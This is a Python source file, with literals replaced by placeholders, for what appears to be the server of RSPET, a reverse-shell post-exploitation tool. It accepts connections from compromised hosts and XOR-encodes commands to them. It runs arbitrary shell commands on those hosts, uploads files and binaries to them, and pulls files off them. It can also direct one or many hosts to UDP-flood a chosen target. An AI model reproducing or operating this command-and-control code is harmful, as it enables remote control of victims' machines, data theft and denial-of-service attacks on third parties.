<s> import sys <EOL> from socket import socket , AF_INET , SOCK_STREAM <EOL> from thread import start_new_thread <EOL> from threading import Thread <EOL> from time import sleep <EOL> def conn_accept ( sock , handler ) : <EOL> while True : <EOL> ( client , ( ip , port ) ) = sock . accept ( ) <EOL> handler . add_host ( client , ( ip , port ) ) <EOL> def send_comm ( command , cur_host_con ) : <EOL> encode = bytearray ( command ) <EOL> for i in range ( len ( encode ) ) : <EOL> encode [ i ] ^= <NUM_LIT> <EOL> try : <EOL> cur_host_con . send ( encode ) <EOL> return <NUM_LIT:0> <EOL> except : <EOL> return <NUM_LIT:1> <EOL> def recv_comm ( recv_size , cur_host_con ) : <EOL> en_data = cur_host_con . recv ( recv_size ) <EOL> decode = bytearray ( en_data ) <EOL> for i in range ( len ( decode ) ) : <EOL> decode [ i ] ^= <NUM_LIT> <EOL> return decode <EOL> def UDP_Flood ( target , cur_host_con , cur_host_id , handler ) : <EOL> target_IP = target [ <NUM_LIT:0> ] <EOL> target_Port = target [ <NUM_LIT:1> ] <EOL> try : <EOL> msg = target [ <NUM_LIT:2> ] <EOL> except : <EOL> msg = "<STR_LIT>" <EOL> flood_command = '<STR_LIT>' <EOL> res = send_comm ( flood_command , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> handler . remove_host ( cur_host_id ) <EOL> return <NUM_LIT:1> <EOL> sleep ( <NUM_LIT:0.1> ) <EOL> res = send_comm ( ( target_IP + "<STR_LIT::>" + str ( target_Port ) ) , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> handler . remove_host ( cur_host_id ) <EOL> return <NUM_LIT:1> <EOL> sleep ( <NUM_LIT:0.1> ) <EOL> res = send_comm ( msg , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> handler . remove_host ( cur_host_id ) <EOL> return <NUM_LIT:1> <EOL> sleep ( <NUM_LIT:0.1> ) <EOL> return <NUM_LIT:0> <EOL> def Make_File ( nameSet , cur_host_con , cur_host_id , handler ) : <EOL> fileToRead = nameSet [ <NUM_LIT:0> ] <EOL> try : <EOL> remoteFileName = nameSet [ <NUM_LIT:1> ] <EOL> except : <EOL> remoteFileName = fileToRead <EOL> if remoteFileName == '<STR_LIT>' : <EOL> remoteFileName = fileToRead <EOL> res = send_comm ( '<STR_LIT>' , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> handler . remove_host ( cur_host_id ) <EOL> return <NUM_LIT:1> <EOL> res = send_comm ( remoteFileName , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> handler . remove_host ( cur_host_id ) <EOL> return <NUM_LIT:1> <EOL> decode = recv_comm ( <NUM_LIT> , cur_host_con ) <EOL> if decode == "<STR_LIT>" : <EOL> return <NUM_LIT:2> <EOL> else : <EOL> try : <EOL> fileToRead = open ( fileToRead , '<STR_LIT:r>' ) <EOL> except : <EOL> return <NUM_LIT:3> <EOL> command = fileToRead . read ( ) <EOL> fileToRead . close ( ) <EOL> fSize = sys . getsizeof ( command ) <EOL> fSize = str ( fSize ) <EOL> res = send_comm ( fSize , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> handler . remove_host ( cur_host_id ) <EOL> return <NUM_LIT:1> <EOL> res = send_comm ( command , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> handler . remove_host ( cur_host_id ) <EOL> return <NUM_LIT:1> <EOL> decode = recv_comm ( <NUM_LIT> , cur_host_con ) <EOL> return <NUM_LIT:0> <EOL> def Make_Binary ( nameSet , cur_host_con , cur_host_id , handler ) : <EOL> binToRead = nameSet [ <NUM_LIT:0> ] <EOL> try : <EOL> remoteBinName = nameSet [ <NUM_LIT:1> ] <EOL> except : <EOL> remoteBinName = binToRead <EOL> if remoteBinName == '<STR_LIT>' : <EOL> remoteBinName = binToRead <EOL> res = send_comm ( '<STR_LIT>' , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> handler . remove_host ( cur_host_id ) <EOL> return <NUM_LIT:1> <EOL> res = send_comm ( remoteBinName , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> handler . remove_host ( cur_host_id ) <EOL> return <NUM_LIT:1> <EOL> decode = recv_comm ( <NUM_LIT> , cur_host_con ) <EOL> if decode == "<STR_LIT>" : <EOL> return <NUM_LIT:2> <EOL> else : <EOL> try : <EOL> binToRead = open ( binToRead , '<STR_LIT:rb>' ) <EOL> except : <EOL> return <NUM_LIT:3> <EOL> command = binToRead . read ( ) <EOL> binToRead . close ( ) <EOL> bSize = sys . getsizeof ( command ) <EOL> bSize = str ( bSize ) <EOL> res = send_comm ( bSize , cur_host_con ) <EOL> sleep ( <NUM_LIT:0.1> ) <EOL> if res == <NUM_LIT:1> : <EOL> handler . remove_host ( cur_host_id ) <EOL> return <NUM_LIT:1> <EOL> res = send_comm ( command , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> handler . remove_host ( cur_host_id ) <EOL> return <NUM_LIT:1> <EOL> decode = recv_comm ( <NUM_LIT> , cur_host_con ) <EOL> return <NUM_LIT:0> <EOL> def Pull_File ( nameSet , cur_host_con , cur_host_id , handler ) : <EOL> remoteFileName = nameSet [ <NUM_LIT:0> ] <EOL> try : <EOL> localFileName = nameSet [ <NUM_LIT:1> ] <EOL> except : <EOL> localFileName = remoteFileName <EOL> if localFileName == '<STR_LIT>' : <EOL> localFileName = remoteFileName <EOL> res = send_comm ( '<STR_LIT>' , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> print ( "<STR_LIT>" ) <EOL> handler . remove_host ( cur_host_id ) <EOL> return <NUM_LIT:1> <EOL> res = send_comm ( remoteFileName , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> print ( "<STR_LIT>" ) <EOL> handler . remove_host ( cur_host_id ) <EOL> return <NUM_LIT:1> <EOL> decode = recv_comm ( <NUM_LIT> , cur_host_con ) <EOL> if decode == '<STR_LIT>' : <EOL> print ( "<STR_LIT>" ) <EOL> return <NUM_LIT:2> <EOL> else : <EOL> try : <EOL> localFileName = command [ <NUM_LIT:2> ] <EOL> except : <EOL> localFileName = command [ <NUM_LIT:1> ] <EOL> try : <EOL> localFile = open ( localFileName , '<STR_LIT:w>' ) <EOL> except : <EOL> print ( "<STR_LIT>" ) <EOL> return <NUM_LIT:2> <EOL> decode = recv_comm ( <NUM_LIT> , cur_host_con ) <EOL> decode = recv_comm ( int ( decode ) , cur_host_con ) <EOL> localFile . write ( decode ) <EOL> localFile . close ( ) <EOL> return <NUM_LIT:0> <EOL> def Pull_Binary ( nameSet , cur_host_con , cur_host_id , handler ) : <EOL> remoteBinName = nameSet [ <NUM_LIT:0> ] <EOL> try : <EOL> localBinName = nameSet [ <NUM_LIT:1> ] <EOL> except : <EOL> localBinName = remoteBinName <EOL> if localBinName == '<STR_LIT>' : <EOL> localBinName = remoteBinName <EOL> try : <EOL> remoteBinName = command [ <NUM_LIT:1> ] <EOL> except : <EOL> print ( "<STR_LIT>" ) <EOL> return <NUM_LIT:2> <EOL> res = send_comm ( '<STR_LIT>' , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> print ( "<STR_LIT>" ) <EOL> handler . remove_host ( cur_host_id ) <EOL> return <NUM_LIT:1> <EOL> res = send_comm ( remoteBinName , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> print ( "<STR_LIT>" ) <EOL> handler . remove_host ( cur_host_id ) <EOL> return <NUM_LIT:1> <EOL> decode = recv_comm ( <NUM_LIT> , cur_host_con ) <EOL> if decode == '<STR_LIT>' : <EOL> print ( "<STR_LIT>" ) <EOL> return <NUM_LIT:2> <EOL> else : <EOL> try : <EOL> localBinName = command [ <NUM_LIT:2> ] <EOL> except : <EOL> localBinName = command [ <NUM_LIT:1> ] <EOL> try : <EOL> localBin = open ( localBinName , '<STR_LIT:wb>' ) <EOL> except : <EOL> print ( "<STR_LIT>" ) <EOL> return <NUM_LIT:2> <EOL> decode = recv_comm ( <NUM_LIT> , cur_host_con ) <EOL> decode = recv_comm ( int ( decode ) , cur_host_con ) <EOL> localBin . write ( decode ) <EOL> localBin . close ( ) <EOL> return <NUM_LIT:0> <EOL> def MultihostCalls ( funcRef , argsList , handler , list_of_selected_hosts ) : <EOL> jobs = [ ] <EOL> active_hosts = handler . return_list_of_hosts ( ) <EOL> for host_at_hand in list_of_selected_hosts : <EOL> if active_hosts [ host_at_hand ] == None : <EOL> continue <EOL> argsToPass = [ argsList , active_hosts [ host_at_hand ] [ <NUM_LIT:0> ] , host_at_hand , handler ] <EOL> t = Thread ( target = funcRef , args = argsToPass ) <EOL> jobs . append ( t ) <EOL> if not jobs : <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> return <NUM_LIT:1> <EOL> for j in jobs : <EOL> j . start ( ) <EOL> for j in jobs : <EOL> j . join ( ) <EOL> return <NUM_LIT:0> <EOL> def list_root_commands ( ) : <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> def list_connected_commands ( ) : <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> def list_connected_mult_commands ( ) : <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> def make_logo ( ) : <EOL> logo = [ ] <EOL> logo . append ( "<STR_LIT>" ) <EOL> logo . append ( "<STR_LIT>" ) <EOL> logo . append ( "<STR_LIT>" ) <EOL> logo . append ( "<STR_LIT>" ) <EOL> logo . append ( "<STR_LIT>" ) <EOL> logo . append ( "<STR_LIT>" ) <EOL> for line in logo : <EOL> print ( line ) <EOL> class RSPET_client_handler ( ) : <EOL> list_of_hosts = [ ] <EOL> def __init__ ( self ) : <EOL> self . list_of_hosts = [ ] <EOL> def add_host ( self , host , tup ) : <EOL> self . list_of_hosts . append ( [ host , tup ] ) <EOL> def remove_host ( self , host_id ) : <EOL> self . list_of_hosts [ host_id ] = None <EOL> def rebuild ( self ) : <EOL> tmp_list = list ( filter ( lambda a : a != None , self . list_of_hosts ) ) <EOL> self . list_of_hosts = tmp_list <EOL> def return_list_of_hosts ( self ) : <EOL> return self . list_of_hosts <EOL> root_command_dict = { <EOL> "<STR_LIT>" : <NUM_LIT:0> , <EOL> "<STR_LIT>" : <NUM_LIT:1> , <EOL> "<STR_LIT>" : <NUM_LIT:2> , <EOL> "<STR_LIT>" : <NUM_LIT:3> , <EOL> "<STR_LIT>" : <NUM_LIT:4> , <EOL> "<STR_LIT>" : <NUM_LIT:5> } <EOL> conn_command_func_dict = { <EOL> "<STR_LIT>" : Make_File , <EOL> "<STR_LIT>" : Make_Binary , <EOL> "<STR_LIT>" : Pull_File , <EOL> "<STR_LIT>" : Pull_Binary , <EOL> "<STR_LIT>" : UDP_Flood } <EOL> conn_mul_command_func_dict = { <EOL> "<STR_LIT>" : Make_File , <EOL> "<STR_LIT>" : Make_Binary , <EOL> "<STR_LIT>" : UDP_Flood } <EOL> conn_command_dict = { <EOL> "<STR_LIT>" : <NUM_LIT:0> , <EOL> "<STR_LIT>" : <NUM_LIT:1> , <EOL> "<STR_LIT>" : <NUM_LIT:2> , <EOL> "<STR_LIT>" : <NUM_LIT:3> } <EOL> conn_mul_command_dict = { <EOL> "<STR_LIT>" : <NUM_LIT:0> , <EOL> "<STR_LIT>" : <NUM_LIT:1> , <EOL> "<STR_LIT>" : <NUM_LIT:2> , <EOL> "<STR_LIT>" : <NUM_LIT:3> , <EOL> "<STR_LIT>" : <NUM_LIT:4> } <EOL> make_logo ( ) <EOL> try : <EOL> max_conns = int ( sys . argv [ <NUM_LIT:1> ] ) <EOL> except : <EOL> max_conns = <NUM_LIT:5> <EOL> s = socket ( AF_INET , SOCK_STREAM ) <EOL> s . bind ( ( "<STR_LIT>" , <NUM_LIT> ) ) <EOL> s . listen ( max_conns ) <EOL> handler = RSPET_client_handler ( ) <EOL> start_new_thread ( conn_accept , ( s , handler ) ) <EOL> list_root_commands ( ) <EOL> while True : <EOL> handler . rebuild ( ) <EOL> comm_body = "<STR_LIT>" <EOL> comm_args = [ ] <EOL> cur_host_ip = "<STR_LIT>" <EOL> cur_host_id = <NUM_LIT:0> <EOL> command = raw_input ( "<STR_LIT>" ) <EOL> command = command . split ( "<STR_LIT:U+0020>" ) <EOL> comm_body = command [ <NUM_LIT:0> ] <EOL> for i in range ( <NUM_LIT:1> , len ( command ) ) : <EOL> comm_args . append ( command [ i ] ) <EOL> try : <EOL> translated = root_command_dict [ comm_body ] <EOL> except : <EOL> print ( "<STR_LIT>" ) <EOL> continue <EOL> if translated == <NUM_LIT:0> : <EOL> list_root_commands ( ) <EOL> elif translated == <NUM_LIT:1> : <EOL> active_hosts = handler . return_list_of_hosts ( ) <EOL> for i in range ( len ( active_hosts ) ) : <EOL> print ( "<STR_LIT:[>" + str ( i ) + "<STR_LIT>" + active_hosts [ i ] [ <NUM_LIT:1> ] [ <NUM_LIT:0> ] + "<STR_LIT::>" + str ( active_hosts [ i ] [ <NUM_LIT:1> ] [ <NUM_LIT:1> ] ) ) <EOL> elif translated == <NUM_LIT:2> : <EOL> try : <EOL> cur_host_id = int ( comm_args [ <NUM_LIT:0> ] ) <EOL> except : <EOL> print ( "<STR_LIT>" ) <EOL> continue <EOL> active_hosts = handler . return_list_of_hosts ( ) <EOL> try : <EOL> cur_host_ip = active_hosts [ cur_host_id ] [ <NUM_LIT:1> ] [ <NUM_LIT:0> ] <EOL> cur_host_con = active_hosts [ cur_host_id ] [ <NUM_LIT:0> ] <EOL> except : <EOL> print ( "<STR_LIT>" ) <EOL> continue <EOL> list_connected_commands ( ) <EOL> while True : <EOL> command = raw_input ( "<STR_LIT:[>" + cur_host_ip + "<STR_LIT>" ) <EOL> command = command . split ( "<STR_LIT:U+0020>" ) <EOL> comm_body = command [ <NUM_LIT:0> ] <EOL> try : <EOL> comm_trans = conn_command_dict [ comm_body ] <EOL> if comm_trans == <NUM_LIT:0> : <EOL> list_connected_commands ( ) <EOL> elif comm_trans == <NUM_LIT:1> : <EOL> res = send_comm ( '<STR_LIT>' , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> break <EOL> elif comm_trans == <NUM_LIT:2> : <EOL> cur_host_con . close ( ) <EOL> handler . remove_host ( cur_host_id ) <EOL> break <EOL> elif comm_trans == <NUM_LIT:3> : <EOL> break <EOL> except KeyError : <EOL> try : <EOL> funcToCall = conn_command_func_dict [ comm_body ] <EOL> argsToPass = command [ <NUM_LIT:1> : ] <EOL> funcToCall ( argsToPass , cur_host_con , cur_host_id , handler ) <EOL> except KeyError : <EOL> com_reconst = command <EOL> command = '<STR_LIT>' <EOL> for part in com_reconst : <EOL> command += part + "<STR_LIT:U+0020>" <EOL> command = command [ : len ( command ) - <NUM_LIT:1> ] <EOL> res = send_comm ( command , cur_host_con ) <EOL> if res == <NUM_LIT:1> : <EOL> print ( "<STR_LIT>" ) <EOL> break <EOL> decode = recv_comm ( <NUM_LIT> , cur_host_con ) <EOL> print ( decode ) <EOL> elif translated == <NUM_LIT:3> : <EOL> try : <EOL> hosts_string = command [ <NUM_LIT:1> ] <EOL> except : <EOL> print ( "<STR_LIT>" ) <EOL> list_of_selected_hosts = [ ] <EOL> try : <EOL> hosts_string = hosts_string . split ( "<STR_LIT:U+002C>" ) <EOL> for host_ID in hosts_string : <EOL> list_of_selected_hosts . append ( int ( host_ID . replace ( "<STR_LIT:U+0020>" , "<STR_LIT>" ) ) ) <EOL> except : <EOL> print ( "<STR_LIT>" ) <EOL> continue <EOL> list_connected_mult_commands ( ) <EOL> while True : <EOL> command = raw_input ( "<STR_LIT>" ) <EOL> command = command . split ( "<STR_LIT:U+0020>" ) <EOL> comm_body = command [ <NUM_LIT:0> ] <EOL> try : <EOL> comm_trans = conn_mul_command_dict [ comm_body ] <EOL> if comm_trans == <NUM_LIT:0> : <EOL> list_connected_commands ( ) <EOL> elif comm_trans == <NUM_LIT:1> : <EOL> active_hosts = handler . return_list_of_hosts ( ) <EOL> for host_ID in list_of_selected_hosts : <EOL> if active_hosts [ host_ID ] == None : <EOL> continue <EOL> print ( "<STR_LIT:[>" + str ( host_ID ) + "<STR_LIT>" + active_hosts [ host_ID ] [ <NUM_LIT:1> ] [ <NUM_LIT:0> ] + "<STR_LIT::>" + str ( active_hosts [ host_ID ] [ <NUM_LIT:1> ] [ <NUM_LIT:1> ] ) ) <EOL> elif comm_trans == <NUM_LIT:2> : <EOL> active_hosts = handler . return_list_of_hosts ( ) <EOL> for host_at_hand in list_of_selected_hosts : <EOL> if active_hosts [ host_at_hand ] == None : <EOL> continue <EOL> send_comm ( '<STR_LIT>' , active_hosts [ host_at_hand ] [ <NUM_LIT:0> ] ) <EOL> elif comm_trans == <NUM_LIT:3> : <EOL> jobs = [ ] <EOL> active_hosts = handler . return_list_of_hosts ( ) <EOL> for j in range ( len ( list_of_selected_hosts ) - <NUM_LIT:1> , - <NUM_LIT:1> , - <NUM_LIT:1> ) : <EOL> host_at_hand = list_of_selected_hosts [ j ] <EOL> if active_hosts [ host_at_hand ] == None : <EOL> continue <EOL> active_hosts [ host_at_hand ] [ <NUM_LIT:0> ] . close ( ) <EOL> handler . remove_host ( host_at_hand ) <EOL> break <EOL> elif comm_trans == <NUM_LIT:4> : <EOL> break <EOL> except KeyError : <EOL> try : <EOL> funcToCall = conn_mul_command_func_dict [ comm_body ] <EOL> argsToPass = command [ <NUM_LIT:1> : ] <EOL> active_hosts = handler . return_list_of_hosts ( ) <EOL> MultihostCalls ( funcToCall , argsToPass , handler , list_of_selected_hosts ) <EOL> except KeyError : <EOL> print ( "<STR_LIT>" ) <EOL> elif translated == <NUM_LIT:4> : <EOL> active_hosts = handler . return_list_of_hosts ( ) <EOL> list_of_selected_hosts = [ ] <EOL> for host_ID in range ( len ( active_hosts ) ) : <EOL> list_of_selected_hosts . append ( host_ID ) <EOL> list_connected_mult_commands ( ) <EOL> while True : <EOL> command = raw_input ( "<STR_LIT>" ) <EOL> command = command . split ( "<STR_LIT:U+0020>" ) <EOL> comm_body = command [ <NUM_LIT:0> ] <EOL> try : <EOL> comm_trans = conn_mul_command_dict [ comm_body ] <EOL> if comm_trans == <NUM_LIT:0> : <EOL> list_connected_commands ( ) <EOL> elif comm_trans == <NUM_LIT:1> : <EOL> active_hosts = handler . return_list_of_hosts ( ) <EOL> for host_ID in list_of_selected_hosts : <EOL> if active_hosts [ host_ID ] == None : <EOL> continue <EOL> print ( "<STR_LIT:[>" + str ( host_ID ) + "<STR_LIT>" + active_hosts [ host_ID ] [ <NUM_LIT:1> ] [ <NUM_LIT:0> ] + "<STR_LIT::>" + str ( active_hosts [ host_ID ] [ <NUM_LIT:1> ] [ <NUM_LIT:1> ] ) ) <EOL> elif comm_trans == <NUM_LIT:2> : <EOL> active_hosts = handler . return_list_of_hosts ( ) <EOL> for host_at_hand in list_of_selected_hosts : <EOL> if active_hosts [ host_at_hand ] == None : <EOL> continue <EOL> send_comm ( '<STR_LIT>' , active_hosts [ host_at_hand ] [ <NUM_LIT:0> ] ) <EOL> elif comm_trans == <NUM_LIT:3> : <EOL> jobs = [ ] <EOL> active_hosts = handler . return_list_of_hosts ( ) <EOL> for j in range ( len ( list_of_selected_hosts ) - <NUM_LIT:1> , - <NUM_LIT:1> , - <NUM_LIT:1> ) : <EOL> host_at_hand = list_of_selected_hosts [ j ] <EOL> if active_hosts [ host_at_hand ] == None : <EOL> continue <EOL> active_hosts [ host_at_hand ] [ <NUM_LIT:0> ] . close ( ) <EOL> handler . remove_host ( host_at_hand ) <EOL> break <EOL> elif comm_trans == <NUM_LIT:4> : <EOL> break <EOL> except KeyError : <EOL> try : <EOL> funcToCall = conn_mul_command_func_dict [ comm_body ] <EOL> argsToPass = command [ <NUM_LIT:1> : ] <EOL> active_hosts = handler . return_list_of_hosts ( ) <EOL> MultihostCalls ( funcToCall , argsToPass , handler , list_of_selected_hosts ) <EOL> except KeyError : <EOL> print ( "<STR_LIT>" ) <EOL> elif translated == <NUM_LIT:5> : <EOL> sys . exit ( ) </s>
